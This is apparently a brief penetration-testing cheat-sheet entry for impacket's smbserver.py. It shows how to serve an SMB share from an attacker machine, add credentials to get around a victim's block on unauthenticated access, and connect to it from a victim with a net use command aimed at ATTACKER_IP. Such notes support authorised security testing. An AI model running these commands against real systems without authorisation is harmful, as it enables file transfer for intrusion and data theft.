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smbserver.py
smbserver is part of impacket.
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Setup a listening server
Make an empty directory to serve nothing out of
sudo mkdir /share(Just an example, doesn't have to be this)
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Setup an SMB share pointed to the /share folder
smbserver.py share /share -smb2support
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Setup an SMB share that uses username and password
(This is handy when your victim server you're trying to copy files to throws a warning like "You can't access this shared folder because your organization's security policies block unauthenticated access"):
smbserver.py -smb2support share . -username demouser -password 'Str0ngp4$$!'
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Connect to password-protected share from a victim system:
net use \\ATTACKER_IP\share /user:demouser Str0ngp4$$!